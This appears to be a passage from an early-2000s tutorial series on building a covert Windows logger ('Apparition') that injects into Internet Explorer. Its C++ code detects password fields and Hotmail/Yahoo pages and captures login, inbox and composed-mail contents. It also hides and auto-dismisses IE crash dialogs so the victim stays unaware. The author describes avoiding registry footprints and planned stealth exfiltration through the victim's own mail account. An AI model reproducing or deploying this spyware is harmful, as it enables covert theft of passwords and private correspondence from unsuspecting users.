      HANDLE hWriteEvent = ::OpenEvent(EVENT_ALL_ACCESS,

                              FALSE,g_WRITE_EVENT_MMF_NAME);
      if(hWriteEvent == NULL) err-handler;
      HANDLE hReadEvent = ::OpenEvent(EVENT_ALL_ACCESS,

                              FALSE,g_READ_EVENT_MMF_NAME);
      if(hReadEvent == NULL) err-handler;
      DWORD dwRet = ::WaitForSingleObject(hWriteEvent, MAX_WAIT);
      if(dwRet == WAIT_ABANDONED) err;
      else if(dwRet == WAIT_TIMEOUT) err;
      ::ResetEvent(hWriteEvent);

       //4 Byte Total size //4 byte Used size
       DWORD pos = 0;
       pView = MapViewOfFile(hMMF,

             FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
       if(pView == NULL) err;

       LPBYTE lpByte = (LPBYTE)pView;
       DWORD dwSize, dwUsed;
       ::CopyMemory(&dwSize, lpByte, sizeof(DWORD));
       lpByte += sizeof(DWORD);
       ::CopyMemory(&dwUsed, lpByte, sizeof(DWORD));
       lpByte += sizeof(DWORD);

       LPVOID lpMem = (LPVOID)lpByte; //Actual Data Head
       if(dwType == WM_WPARAM_QUERY_HTML)
       {
             MSHTML::IHTMLElementPtr spHtmlElement;
             HRESULT hr = g_lpHTMLDocument2[dwIndex]->

                  get_body(&spHtmlElement);
             if(spHtmlElement != 0)
             {
                  BSTR bstr;
                  hr = spHtmlElement->get_outerHTML(&bstr);
                  UINT len = ::SysStringLen(bstr);
                  //We use Unicode here, so I cast directly
                  lpByte = (LPBYTE)lpMem;
                  lpByte += dwUsed;
                  ::CopyMemory(lpByte, (LPVOID)(LPCWSTR)bstr,

                        len*sizeof(TCHAR));
                  dwUsed += len*sizeof(TCHAR);
                  ::SysFreeString(bstr); //Free It!!!!
                  lpByte = (LPBYTE)lpMem;
                  lpByte += dwUsed;
                  ::CopyMemory(lpByte, (LPVOID)(LPCWSTR)_T("\r\n"),

                        ::lstrlen(_T("\r\n"))*sizeof(TCHAR));
                  dwUsed += ::lstrlen(_T("\r\n"))*sizeof(TCHAR);
             }
       }
       else if(dwType == WM_WPARAM_QUERY_URL)
       {
             BSTR bstr;
             HRESULT hr = g_lpHTMLDocument2[dwIndex]->

                     get_url(&bstr);
             //We use Unicode here
             UINT len = ::SysStringLen(bstr);
             lpByte = (LPBYTE)lpMem;
             lpByte += dwUsed;
             ::CopyMemory(lpByte, (LPVOID)(LPCWSTR)bstr,

                      len*sizeof(TCHAR));
             dwUsed += len*sizeof(TCHAR);
             ::SysFreeString(bstr);
             lpByte = (LPBYTE)lpMem;
             lpByte += dwUsed;
             ::CopyMemory(lpByte, (LPVOID)(LPCWSTR)_T("\r\n"),

                      ::lstrlen(_T("\r\n"))*sizeof(TCHAR));
            dwUsed += ::lstrlen(_T("\r\n"))*sizeof(TCHAR);
       }
       lpByte = (LPBYTE)pView;
       lpByte += sizeof(DWORD);
       ::CopyMemory(lpByte, &dwUsed, sizeof(DWORD));
       ::UnmapViewOfFile(pView);
       ::CloseHandle(hMMF);
       ::CloseHandle(hWriteEvent);
       ::SetEvent(hReadEvent);
       ::CloseHandle(hReadEvent);
       return TRUE;
}

//from tlb
//struct __declspec(uuid("626fc520-a41e-11cf-a731-00a0c9082637"))
///* dual interface */ IHTMLDocument;
//struct __declspec(uuid("332c4425-26cb-11d0-b483-00c04fd90119"))
///* dual interface */ IHTMLDocument2;

//Link Handle With IHTMLDocument2, Event
BOOL LinkCom(DWORD dwIndex)
{
        if(g_hBrowserWnd[dwIndex] == NULL) return FALSE;
        AntiLinkCom(dwIndex);

        CoInitialize( NULL );
        // Explicitly load MSAA so we know if it's installed
        HINSTANCE hInst = ::LoadLibrary( _T("OLEACC.DLL") );
        if(hInst == NULL ) return FALSE;

        MSHTML::IHTMLDocument2Ptr spHtmlDocument;
        LRESULT lRes;

        UINT nMsg =

             ::RegisterWindowMessage( _T("WM_HTML_GETOBJECT") );
        //Time Out: 1 Second
        ::SendMessageTimeout( g_hBrowserWnd[dwIndex], nMsg,
            0L, 0L, SMTO_ABORTIFHUNG, 1000, (DWORD*)&lRes );

        LPFNOBJECTFROMLRESULT pfObjectFromLresult =

                 (LPFNOBJECTFROMLRESULT)

                 ::GetProcAddress( hInst, "ObjectFromLresult");
        if ( pfObjectFromLresult == NULL )
        {
             ::FreeLibrary( hInst );
             CoUninit ialize();
             return FALSE;
         }

         WCHAR strDoc[] = L"{626fc520-a41e-11cf-a731-00a0c9082637}";
         CLSID uuidDoc;
         HRESULT hrDoc = CLSIDFromString((LPOLESTR)strDoc,
              &uuidDoc  //IID_IHTMLDocument2

        );
        if(FAILED(hrDoc)) err;
        HRESULT hr;
        hr = (*pfObjectFromLresult)( lRes, uuidDoc,
              //IID_IHTMLDocument2,
              0, (void**)&spHtmlDocument );
        if ( SUCCEEDED(hr) )
        {
              g_lpHTMLDocument2[dwIndex] = (spHtmlDocument);
              CComQIPtr<IServiceProvider> isp = spHtmlDocument;
              hr = isp->QueryService(IID_IWebBrowserApp,

                   IID_IWebBrowser2, (void**)&g_lpWeb2[dwIndex]);
              if(FAILED(hr))
              {
                      g_lpHTMLDocument2[dwIndex].Release(); //not use ->
                      g_lpHTMLDocument2[dwIndex] = NULL;
                      g_lpWeb2[dwIndex] = NULL;
                      ::FreeLibrary( hInst );
                      CoUninitialize();
                      return FALSE;
              }
              else
              {
                     g_event.SetSource(g_lpWeb2[dwIndex] ,dwIndex);
                     g_event.ConnectEvents(dwIndex);
               }
        }
        else
        {
              ::FreeLibrary( hInst );
              CoUninitialize();
              return FALSE;
         }

         ::FreeLibrary( hInst );
         CoUninitialize();
         return TRUE;
}

BOOL AntiLinkCom(DWORD dwIndex)
{
        if(g_lpHTMLDocument2[dwIndex] != NULL)
        {
              g_lpHTMLDocument2[dwIndex].Release(); // not use ->
              g_lpHTMLDocument2[dwIndex] = NULL;
        }
        g_event.ExitEvents(dwIndex);
        if(g_lpWeb2[dwIndex] != NULL)
        {
             g_lpWeb2[dwIndex].Release(); //NOTE: not use ->
             g_lpWeb2[dwIndex] = NULL;
        }
        return TRUE;
}

//Inside Html There is Password Field
BOOL WINAPI IsPwdBrowser(DWORD dwIndex)
{
        if(g_hBrowserWnd[dwIndex] == NULL) return FALSE;
        LRESULT hr = ::SendMessage(g_hBrowserWnd[dwIndex],

             WM_QUERY_BROWSER,
             WM_WPARAM_CHECK_ISPWD,dwIndex);
        if(hr != 0) return TRUE;
        return FALSE;
}

BOOL InterIsPwdBrowser(DWORD dwIndex)
{
        if(g_lpHTMLDocument2[dwIndex] == NULL)
       {
               if(!LinkCom(dwIndex)) return FALSE;
       }

       MSHTML::IHTMLElementCollection *pForm;
       HRESULT hr = g_lpHTMLDocument2[dwIndex]->

              get_all(&pForm);
       if(FAILED(hr)) return FALSE;
       long len;
       hr = pForm->get_length(&len);
       if(FAILED(hr)) return FALSE;
       for(int i = 0; i < len; i++)
       {
              LPDISPATCH lpItem = pForm->

                    item(CComVariant(i), CComVariant(i)); //Atlbase.h

              MSHTML::IHTMLInputElementPtr lpInput;
              HRESULT hr = lpItem->QueryInterface(&lpInput);
              if(FAILED(hr)) continue;

              _bstr_t type(_T("password"));
              if(lpInput->Gettype() == type)
              {
                     pForm->Release();
                     pForm = NULL;
                     return TRUE;
               }
        }
        pForm->Release();
        pForm = NULL;
        return FALSE;
}

//Some Pre defined Site such as Following
BOOL WINAPI IsPreDefBrowser(DWORD dwIndex)
{
        if(g_hBrowserWnd[dwIndex] == NULL) return FALSE;
        HRESULT hr = ::SendMessage(g_hBrowserWnd[dwIndex],

               WM_QUERY_BROWSER,
               WM_WPARAM_CHECK_ISPREDEF,dwIndex);
        if(hr != 0)  return TRUE;
        return FALSE;
}

enumPreDefinePage InterIsPreDefBrowser(DWORD dwIndex)
{
        if(g_lpHTMLDocument2[dwIndex] == NULL)
        {
              if(!LinkCom(dwIndex)) return none;
        }
        BSTR bstr;
        HRESULT hr = g_lpHTMLDocument2[dwIndex]->get_url(&bstr);

         //We use Unicode here
         UINT len = ::SysStringLen(bstr);
         int dim = sizeof(szTargetUrl)/sizeof(szTargetUrl[0]);
         enumPreDefinePage bRet = none;
         for(int i = 0; i < dim; i++)
        {

               //url widecard comparison
               if(::WildCompare((LPTSTR)(LPCTSTR)bstr, len,

                     (LPCTSTR)szTargetUrl[i]) != -1)
               {
                      bRet = (enumPreDefinePage)i;
                      break;
               }
         }
         ::SysFreeString(bstr);
         return bRet;
}

DWORD WINAPI QueryBrowserState(DWORD dwIndex)
{
         return g_dwBrowserState[dwIndex];
}

BOOL Trigger(DWORD dwIndex)
{

        //Decide Detail Type of the Current Homepage and

        //Parse its Html to MMF
        enumPreDefinePage type = InterIsPreDefBrowser(dwIndex);
        if(type != none || InterIsPwdBrowser(dwIndex))
        {
                //Open MMF
                HANDLE hMMF, hWriteEvent, hReadEvent;
                LPVOID pView = NULL;

                hMMF = OpenFileMapping(FILE_MAP_READ |

                     FILE_MAP_WRITE, FALSE, g_MMF_NAME);
                if (hMMF == NULL) err;
                hWriteEvent = ::OpenEvent(EVENT_ALL_ACCESS,

                     FALSE,g_WRITE_EVENT_MMF_NAME);
                if(hWriteEvent == NULL) err;
                hReadEvent = ::OpenEvent(EVENT_ALL_ACCESS,

                      FALSE,g_READ_EVENT_MMF_NAME);
                if(hReadEvent == NULL) err;
 

                DWORD dwRet =

                      ::WaitForSingleObject(hWriteEvent, MAX_WAIT);
                if(dwRet == WAIT_ABANDONED) err;
                else if(dwRet == WAIT_TIMEOUT) err;
                ::ResetEvent(hWriteEvent);

                //4 Byte Total size
                //4 byte Used size
                DWORD pos = 0;
                //head 4 byte to record size
                pView = MapViewOfFile(hMMF,
                      FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
                if(pView == NULL) err;

                LPBYTE lpByte = (LPBYTE)pView;
                DWORD dwSize, dwUsed, dwInfo;
                ::CopyMemory(&dwSize, lpByte, sizeof(DWORD));
                lpByte += sizeof(DWORD);
                ::CopyMemory(&dwUsed, lpByte, sizeof(DWORD));
                lpByte += sizeof(DWORD);

                LPBYTE lpMem = (LPBYTE)lpByte; //Actual Data Head
                //================ gg
                switch(type)
                {
                     case hotmailInbox:
                         HandleHotmailInbox(g_lpHTMLDocument2[dwIndex],

                                lpMem, dwSize, dwUsed, dwInfo);
                         break;
                    case hotmailCompose:
                         HandleHotmailCompose(g_lpHTMLDocument2[dwIndex],

                                lpMem, dwSize, dwUsed, dwInfo);
                         break;
                    case hotmailLogin:
                         HandleHotmailLogIn(g_lpHTMLDocument2[dwIndex],

                               lpMem, dwSize, dwUsed, dwInfo);
                         break;

                    //.......

                    //hotmailLogError, hotmailContacts, hotmailChangePassword,

                    //hotmailChangeAnswer, hotmailForgotPassword,

                    //hotmailReadMail, yahooInbox, yahooCompose, yahooLogin,

                    //yahooLogError, yahooContacts, yahooChangePassword.....
                    default: //password page
                           HandlePasswordPage(g_lpHTMLDocument2[dwIndex],

                                 lpMem, dwSize, dwUsed, dwInfo);
                           break;
                }
                //close MMF, mark read ok...
      }
      else
           return FALSE;
      return TRUE;
}

 

An interesting Brain Exercise --- Parse On-line Page:

 

  Let's see how to accomplish Step 7b --- parse a page written by others. Take as a sample, hotmail's Compose page, for your convenience, I attach the screen shot of it.

 

    

     Fig 3.7 Screen Shot of Hotmail Compose Page

  So, what's the key points on this page? I think all of you can guess out all of them. That's it --- To, CC, BCC, Subject and Mail Body. I highly suggest you play this page with the HtmlPeek program I enclosed with this program. Input www.hotmail.com in the edit on the toolbar, click the navigate button, log in using your account, click the magnify-glass like button to dump the html element, and you will have the result in the right view similar to this :

 

RS $$$ hidden $$$ CHECKED
Form $$$ hidden $$$ HM
cp $$$ hidden $$$ 1252
v $$$ hidden $$$ 1
q $$$ text $$$
 $$$ image $$$
sigtext $$$ hidden $$$
replytext $$$ hidden $$$
drafttext $$$ hidden $$$
curmbox $$$ hidden $$$ F000000001
_HMaction $$$ hidden $$$
subaction $$$ hidden $$$
plaintext $$$ hidden $$$
login $$$ hidden $$$ codetiger
wcid $$$ hidden $$$
soid $$$ hidden $$$
msg $$$ hidden $$$
start $$$ hidden $$$
len $$$ hidden $$$
attfile $$$ hidden $$$
type $$$ hidden $$$
src $$$ hidden $$$
ref $$$ hidden $$$
ru $$$ hidden $$$
wysiwyg $$$ hidden $$$
msghdrid $$$ hidden $$$ 931fb080ed04531ce1bca7ac9f2f61f4_1039376788
RTEbgcolor $$$ hidden $$$
sigflag $$$ hidden $$$
newmail $$$ hidden $$$ new
to $$$ text $$$
$mostContactPerson1 $$$ hidden $$$ people1@abc.com
$mostContactPerson2 $$$ hidden $$$ people2@abc.com
$mostContactPerson3 $$$ hidden $$$ people3@abc.com
Quick.x $$$ button $$$ Show All
COMPOSE_X $$$ button $$$ Edit List
cc $$$ text $$$
bcc $$$ text $$$
subject $$$ text $$$
Attach.x $$$ submit $$$ Add/Edit Attachments
<SELECT class=drpdwn title="Tools for composing messages" onchange=DT(this[selectedIndex].value) name=tools> <OPTION value="" selected>Tools<OPTION value=SpellChk>Spell Check<OPTION value=Dictionary>Dictionary<OPTION value=Thesaurus>Thesaurus<OPTION value=RTE>Rich-Text Editor ON</OPTION></SELECT>
outgoing $$$ checkbox $$$ on
Send.x $$$ submit $$$ Send
Save.x $$$ submit $$$ Save Draft
Cancel.x $$$ submit $$$ Cancel
body $$$ textarea $$$




Send.x $$$ submit $$$ Send
Save.x $$$ submit $$$ Save Draft
Cancel.x $$$ submit $$$ Cancel

Fig 3.8 Page Element Layout of Hotmail Compose Page

  Make sense? What we need do is to get the 3 elements and their value and write to logger. It may be more important than you estimated at first. Usually the "Compose New Mail" page of hotmail itself will be 25-32kb even you write nothing inside the page, usually people only write only a few kilobyte text in the mail body, say, 5k. If you dump the html without processing (filtering) here, after sending 10 on-lines mail, your data will be approximately (5 + 25~32)kb * 10 = 300~370kb versus our cute 5kb * 10 = 50kb. Let alone the logger will save so much network traffic in the real world.

  Here is the code:

 

BOOL HandleHotmailComposePage(

       MSHTML::IHTMLDocument2Ptr pDoc, LPBYTE lpMem,

       DWORD& dwSize, DWORD& dwUsed,

       DWORD& dwInfo)

{

       //lpMem is the starting pointer of our MMF

       LPBYTE lpByte = lpMem;
       lpByte += dwUsed;

       //Write System Time
       SYSTEMTIME tm;
       ::GetLocalTime(&tm);
       TCHAR sz[256]; //seems enough
       _stprintf(sz, _T("\r\n>>>>>Hotmail Compose Page

              %d/%d/%d,%d:%d:%d\r\n"),  tm.wYear, tm.wMonth,

              tm.wDay, tm.wHour, tm.wMinute, tm.wSecond);
       DWORD dwDisp = ::lstrlen(sz)*sizeof(TCHAR);
       ::CopyMemory(lpByte, sz, dwDisp);
       dwUsed += dwDisp;

       MSHTML::IHTMLElementCollection *pCollection;
       HRESULT hr = pDoc->get_all(&pCollection);
       if(FAILED(hr)) return FALSE;
       long len;
       hr = pCollection->get_length(&len);
       if(FAILED(hr)) return FALSE;

       for(int i = 0; i < len; i++)
       {
             LPDISPATCH lpItem =

               pCollection->item(CComVariant(i), CComVariant(i));
             //Parse INPUT and TEXTAREA
             //We neen INPUT: to, cc, bcc, subject
             // TEXTAREA: body
             MSHTML::IHTMLInputElementPtr lpElement;
             HRESULT hr = lpItem->QueryInterface(&lpElement);
             if(SUCCEEDED(hr))
             {
                   _bstr_t name = lpElement->Getname();
                   _bstr_t type = lpElement->Gettype();
                   _bstr_t value = lpElement->Getvalue();


                   _bstr_t text(_T("text"));
                   _bstr_t to(_T("to"));
                   _bstr_t cc(_T("cc"));
                   _bstr_t bcc(_T("bcc"));
                   _bstr_t subject(_T("subject"));
                   if(type == text)
                  {
                        if(name == to || name == cc ||

                           name == bcc || name == subject)
                                 HandlePageElement(lpMem, dwSize,

                                         dwUsed, (LPCTSTR)type,
                                         (LPCTSTR)name,(LPCTSTR)value);
                  }
             }

             //Parse TextArea
             MSHTML::IHTMLTextAreaElementPtr lpArea;
             hr = lpItem->QueryInterface(&lpArea);
             if(SUCCEEDED(hr))
             {
                   _bstr_t name = lpArea->Getname();
                   _bstr_t type = lpArea->Gettype();
                   _bstr_t value = lpArea->Getvalue();

                   _bstr_t textarea(_T("textarea"));
                   _bstr_t body(_T("body"));
                   if(type == textarea && name == body)
                   {
                         HandlePageElement(lpMem, dwSize, dwUsed,

                (LPCTSTR)type, (LPCTSTR)name,(LPCTSTR)value);
                    }
               }
       }//end for loop
       pCollection->Release();
       pCollection = NULL;
       return TRUE;
}

 

Game Not Over Yet

  When I started to write this serials in this summer, I picked my former logger exe directly and launched it, but found it did not work on on-line page correctly. At first I thought my code is out-dated to today's IE, after inserting a few Message Boxes in the DLL, I realized MSN reformed their URL layout some time earlier this year. For example, the Inbox page of hotmail (the page contains the mail listed in Inbox) used to be "http://*.hotmail.msn.com/cgi-bin/getmsg*" while now it is "http://*.hotmail.msn.com/cgi-bin/HoTMaiL?curmbox=*", but I am very glad that inside each page the html element layout did not change much, so I update the code in one weekend morning. You can experiment my program by launch it first, then launch an IE, log in hotmail using your account information, view the coming message, compose and send message, view your contact list, change your password and secret answer. Now have a look at my "Apparition".

Fig 3.9 Screen Shot of "Apparition" showing a user reading hotmail

 

But another on-line mail system --- yahoo, is really a headache, just as I mentioned above, individual local Yahoo developed their page layout completely differently. So if you really want to make an omnipotent yahoo mail program, you have to check all yahoo branch company (maybe 2 dozens of them around the world) and write handler code for all of them, which is actually a labor work in programming. My program only deals with www.yahoo.com (so not the www.yahoo.co.jo, www.tw.yahoo.com, www.sg.yahoo.com, etc..., just see their inconsistent name!) and do not ask me for more handler for you already have enough information to make new handler yourself.

 

Something Not Finished 

 I have to admit sometimes (not all the time!!!, which exaggerate the difficulties to locate the bug), after launching this logger, the IE is easy to crash when you CLOSE it. For IE6 users, it looks like: 

 

 Fig 3.10 IE6.0 crashed effected by "Apparition", it is "dw15 -x -s 340" (from Process Explorer) while process name from ToolHelp is "_dw15.exe" !!??

 It is so strange that you always get the same IHTMLDocument2 pointer when you are using it in your dialog or Form View based application. But caching this kind of pointer in DLL (injected into remote IE) share section is a painstaking job --- From time to time, I found this pointer just mutated into a simple IDispatch, and asking IHTMLDocument2 from it will return a NULL accordingly. MSDN Kb Q249232 "HOWTO: Get IHTMLDocument2 from a HWND" says that you get a fully marshaled IHTMLDocument2 pointer from the window handle, and the sample code inside this KB runs well for it is used just once. Our logger will definitely avoid the "GP Error" dialog as much as possible.

 oh, btw, the crash-helper dialog is actually residing in an exe "DW15.exe" which is in the same place as "IExplorer.exe". You can verify it by opening your "C:\Program Files\Internet Explorer" folder. I recommended you open this exe with the "Resource Hacker" tool I listed in the reference. You will see MS IE team guys use this dialog base to provide the user several choices before the troublesome IE process REALLY exits.

   

  Fig 3.11 Dialog Template Resource inside DW15.exe (Peeked by "Resource Hacker")

 The ultimate solution to this crash bug is NOT available yet, and up to now I use an indirect way is, to use a brutal force way to hide the crash dialog from the user, and push the "Do not Send" button by code. You can refer to this article: Automated IE SaveAs MHTML (http://www.codeproject.com/shell/iesaveas.asp) By Stephane Rodriguez. Anyway, if there is any eagle eyes who can find the mysterious crash reason it will be much better. Oh, almost forgot, btw, though every folder window opened in Windows includes "Internet Explorer_Server" (inside which a list view resides), they are much less troublesome than IE, so handling IE crash dialog DOES have sense!

 Refer to the following figure:

 

 Fig. 3.12 Windows Layout of IE Crash Dialog

 We handle the HCBT_ACTIVATE instead of HCBT_CREATEWND this time for I found the RichEdit20W child is not ready yet when HCBT_CREATEWND. We hide or move the dialog out of screen, uncheck the "Restart Microsoft Internet Explorer", and then  "Don't Send" button to mimic the user ending the dialog.

 Code is very short, so I list it here:

 

LRESULT CALLBACK CBTProc(
int nCode, // hook code
WPARAM wParam, // depends on hook code
LPARAM lParam // depends on hook code
)
{
     if(nCode == HCBT_ACTIVATE)
    {
         if(IsIECrashDialog((HWND)wParam))
         {
              HandleIECrashDialog((HWND)wParam);
         }
    }

    ..............

 

BOOL IsIECrashDialog(HWND hWnd)
{
    TCHAR szClassName[64];
    int nRet = GetClassName(hWnd, szClassName, 64);
    if(nRet == 0) return FALSE;
    szClassName[nRet] = 0;

    //Dialog's Class Name is "#32770"
    if(::lstrcmpi(szClassName, _T("#32770")) != 0)

        return FALSE;
    //hWnd is a dialog
    //have 4 buttons (including 1 check box) and a RichEdit20W
    HWND hRich = ::FindWindowEx(hWnd, NULL,

          _T("RichEdit20W"), NULL);
    if(!hRich) return FALSE;
    HWND hButton = ::FindWindowEx(hWnd, NULL,

          _T("Button"), NULL);
    if(!hButton) return FALSE;
    //HWND-->ProcessID-->Exe name
    DWORD dwPID;
    GetWindowThreadProcessId(hWnd, &dwPID);
    CToolhelp th(TH32CS_SNAPALL, dwPID);
    // Show Process details
    PROCESSENTRY32 pe = { sizeof(pe) };
    BOOL fOk = th.ProcessFirst(&pe);
    for (; fOk; fOk = th.ProcessNext(&pe))
   {
        if (pe.th32ProcessID == dwPID)
       {

            //Zhefu Zhang do not understand why it is _DW15.exe

            //instead of DW15.exe (exe file name)
            if(::lstrcmpi(pe.szExeFile, _T("_DW15.exe")) == 0)
                return TRUE;
            else
                return FALSE;
            break; // No need to continue looping
        }
    }
    return FALSE;
}

BOOL HandleIECrashDialog(HWND hWnd)
{
     //::ShowWindow(hWnd, SW_HIDE);
     //::MoveWindow(hWnd, -2000, 0, 100, 100, FALSE);
     //Find Check Button, UnCheck It
    HWND hChild = ::FindWindowEx(hWnd, NULL,

          _T("Button"), NULL);
    while(hChild)
    {
          //Check Box?
         LONG_PTR lStyle = ::GetWindowLongPtr(hChild,

              GWL_STYLE);
         if((BS_CHECKBOX & lStyle) == BS_CHECKBOX)
        {
              //uncheck it
             ::SendMessage(hChild, BM_SETCHECK,

                 BST_UNCHECKED, 0);
        }
        hChild = ::FindWindowEx(hWnd, hChild,

             _T("Button"), NULL);
    }
    //Fnd "Don't Send" it is the right-most button OR

    // the first child button, Check this code when you are using

    //other language Windows than English
    hChild = ::FindWindowEx(hWnd, NULL,

        _T("Button"), NULL);
    DWORD btnID = ::GetWindowLong(hChild, GWL_ID);
    ::SendMessage(hWnd, WM_COMMAND,
        (WPARAM)MAKELONG((WORD)btnID, BN_CLICKED),
        (LPARAM)hChild);
    return TRUE;
}

 

  Ok, man. We have successfully quenched the "IE crash dialog", though it is overkill, we have no choice. Enjoy being logged! This is the end of IE hooking today.

 

Miscellaneous and FAQ:

 

 Q1. How about I use onsubmit(of HTMLFormElementEvents) event instead of BeforeNavigate2 (of DWebBrowserEvents2) event to trigger the page reading?

 A    You can do that if you only care the form-based data. Actually it is my first try when making this logger on IE. But, one thing, usually, your form will NOT be existing upon "submission" since you submit to navigate to another page. So each time you navigate to a new page, you have to parse the page to see if a form is there, and remember to release the old form COM pointer in time. It is too complicated and you see, the main purpose of your doing this is to find the password input area on the form; and now I parse the whole page and will not miss it. Still, if you like this way, you can make cool code anyway. For green hands, I suggest a reading on the source code of one MFC sample "MFCIE", it should be reachable in online MSDN. It will dump the various event from a browser and gives you a start on IE coding.

 

Q2.  I hooked IE to get all mouse click and hope by doing this, I could get the event "user click submit button". Is that ok?

 A    First, I do not blame MS IE developer team, they did a good job to ship first-class browser to users. But, compared to other Windows part, DHTML or MSHTML (I don't care the name, it is just a COM object for parsing HTML or whatever) is not only not-stable but also easy-to-crash due to the unsolvable deficiency of the script-driven stuffs. If you guy is a fast hand (especially those having experience with on line war game like Red Alert or Startcraft), you will lose at least 1 mouse click out of 100 (if not 500) on IE browser; if your CPU is busy, it will be higher almost definitely. So DO NOT LINK mouse windows message (ex. WM_LBUTTONDOWN)  to any DHTML event, use the latter only when you play DHTML. Refer "Programming Internet Explorer 5.0" (MS Press, 1999) for details.

 

Q3.  I want to use your program in my Windows 9x/ME!

 A.   I have taken care in programming already, everywhere in the code, you will see TCHAR and lstrcpy like code only. Change the preprocessor definitions from "_UNICODE, UNICODE" to "_MSCS", get rid of link output "wWinCRTStartup" in the GUI end, and change all cast code like this:

   BSTR bstrNickName;

   //some text query

   _stprintf(sz, _T("%s\t\r\n"), (LPCTSTR)bstrNickName);
to

   BSTR bstrNickName;

   //some text query

   char* pBuffer;

   //WideCharToMultiByte from bstr to char, refer MSDN, take care of buffer length!

   _stprintf(sz, _T("%s\t\r\n"), (LPCTSTR)pBuffer);

       I think you will go after this modification. I have no intention to write any code for Win9x since 3 years ago.

 

 Q4.  Why not use BHO?

  A     Oh, just because it is a logger and I do not want to touch that part of registry to add its footprints. BHO does save you from hooking such a long way to get the page, so if you want decrease your coding time/work load and want to interact with IE pages aboveboard, use BHO.

 

 Q5. I am an eagle eye COM guru and I found one strange thin: In your code, you call CoInitialize() and CoUninitialize() in your LinkCom function to get IHTMLDocument2 pointer from the window handle, how could you still use this COM object after CoUninitialize() and even save it in the shared section???

  A.   Good question. eagle-eye guys. I do it because I am 100% sure IE thread have called CoInitializeEx already before I hooked my DLL into it. So the COM library keep on living there, before I release my COM object pointer and eject my DLL. Sure, you even need not to call them at all in the code.

 

Q6. Hi, Jeff. I think it is an overkill to intercept all hotmail pages, if you have gotten the password successfully, why bother logging the inbox page. Besides, your logic will not prevent logging the same page twice when user move backward and forward.

  A.   I agree with you in the second point only, yes, when user moves backward and forward , the same page will be logged twice or more, and it is not a technical problem you implement a cache of the hotmail pages and compare-before-save.  BUT you have to log the Inbox, Compose and Mail page for they may be transient -- user may delete their mail or not save to Sent box, and these pages disappear permanently. As one word, our current IE hooking is an inside-out predator.

 

  Words to Readers:

   It is a key part in a logger to include this IE hooking functionality and parse it properly and efficiently in the fly. In all cases the unnecessary information consists of most part of a web page, and dumping the whole page will consume a lot of storage space and bandwidth wastefully. Do not put me wrong, if your logger have 1Gb network bandwidth available, clone the whole hard disk and send  the data out is better idea. Another cool thing is on latter articles of this series, the logger will be running inside the IE instance and make network communication using the just-got on-line mail system account in fly. Not only the smartest firewall but the smartest administers will not find it, unless, unless, using the sniffer to record all actual data. Surely, we have to devise even cooler code-lines to stop this... (to be continued). 

 

Reference: (to be completed)

  For the convenience of the readers, I categorize this list into two parts, one is the basic on which the article series is constructed or highly related, and the other is the material you will find related things if you want to dig deeper.

  Legend: @ : CD included

               #  :  Also in EBook Format (chm)

              

Basic List:

1. Programming Application for MS Windows 4th Edition,  by Jeffrey Richter, ISBN 1-57231-996-8, MS Press, 1999, @#

    too classic book, look up its DLL, SEH, and Memory Management part

2. Inside DCOM, ASIN: 157231849X or  Inside COM+ Base Services, by Guy Eddon and Henry Eddon, ISBN 0-7356-0728-1, 1999 MS Press, @#

    answer you every question on COM/DCOM/COM+ in theory. cool++

3. Professional NT Services, by Kevin Miller, ISBN: B00005Y2AZ, Wrox Press, 1998

    everything related to NT Service --- security, DB connection, COM server, etc... excellent readability

4. Programming Server-Side Applications for Microsoft Windows 2000, by Jeffrey Richter, Jason D. Clark, ISBN 0-7356-0753-2, MS Press, 1999, @#

    a must-have book on backend server programmer. plus serious terrible-good ready-to-go security code from Jason!

5. Programming Windows Security, by Keith Brown, ISBN: 0201604426 ,Addison-Wesley Pub Co, 2000

    comprehensive and in-depth talking on Win2k security. seems not suitable for beginners, I recommend reading book 4 before digging this one. another must-have.

    http://www.develop.com/books/pws/errata.htm for updating

6. Programming Microsoft Internet Explorer 5, by Scott Roberts, ISBN 0-7356-0781-8, MS Press, 1999, @#

    the first and only book solely dedicated to IE programming as its name --- DHTML, IE event handling with VB and VC++, BHO and so on.

7. Programming the Microsoft Windows Driver Model, by Walter Oney, ISBN 0-7356-0588-2, 1999, @#

    former "Systems Programming for Windows 95" author, Oney gives DDK course here. We will use a little DDK later in this serials. classic book

8. Windows NT/2000 Native API Reference, by Gary Nebbett,  ISBN: 1578701996, Que,  2000

    A function signature list of ddk.h, you do not need it if you are smart enough to guess tons of strange naming convention in ddk.h. We use it when doing api hooking.

9. Debugging Applications, by John Robbins, ISBN 0-7356-0886-5, MS Press, 2000

    Get more information about exception handling besides books "Programming Application for Windows" and "Programming the Microsoft Windows Driver Model"

9. API Hooking Revealed (http://www.codeguru.com/system/apihook.html or ) by Ivo Ivanov, 2002 Apr.

    Excellent milestone article covering hooking, also read his other 2 articles Single interface for enumerating processes and modules under NT and Win9x/2K(http://www.codeguru.com/system/PList.html or http://www.codeproject.com/system/hooksys.asp) and Detecting Windows NT/2K process execution(http://www.codeguru.com/system/ProcMon.html or http://www.codeproject.com/threads/procmon.asp).

    Take note on his reference list, it is a mine of gold!

10. Three Ways to Inject Your Code into Another Process (http://codeguru.earthweb.com/system/winspy.html or http://www.codeproject.com/useritems/winspy.asp), by Robert Kuster. 2003 Feb

    Excellent milestone article on remote inject

11. Trapping CtrlAltDel;Hide Application in Task List on Win2000/XP (http://www.codeproject.com/useritems/preventclose.asp), by Jiang Sheng, 2003 Apr.

    Shows how to hide process (task) from task manager. Though his English is not perfect (as he described in the first sentence), I recommend you at least dl (download) his code have a try.

12. How to Trap CtrlAltDel Key Combination in Windows NT/2000/XP (without using GINA and keyboard driver technology", by Weiwu Tan(slwqw@163.com), CSDN forum (Simplified Chinese Only) 2002.

    It may be temporarily here: http://www.csdn.net/develop/Read_Article.asp?Id=15645. dl it asap. a creative article dealing with prohibiting CtrlAltDel by intercepting hotkey on logon desktop. You can read code anyway even you have no knowledge of Simplified Chinese. (type GINA in www.csdn.net will lead to the hyperlink)

13.  Disabling Keys in Windows XP with TrapKeys,(http://msdn.microsoft.com/msdnmag/issues/02/09/CQA/default.aspx) by Paul DiLascia, MSDN Magazine September 2002.

   Just as its name

14. Escape from DLL Hell with Custom Debugging and Instrumentation Tools and Utilities(http://msdn.microsoft.com/msdnmag/issues/02/06/debug/default.aspx), by
Christophe Nasarre, MSDN 2002 June

   Detection and listing of all running process and module is the basic of logger detection, isn't it? so read this

15. http://www.sysinternals.com

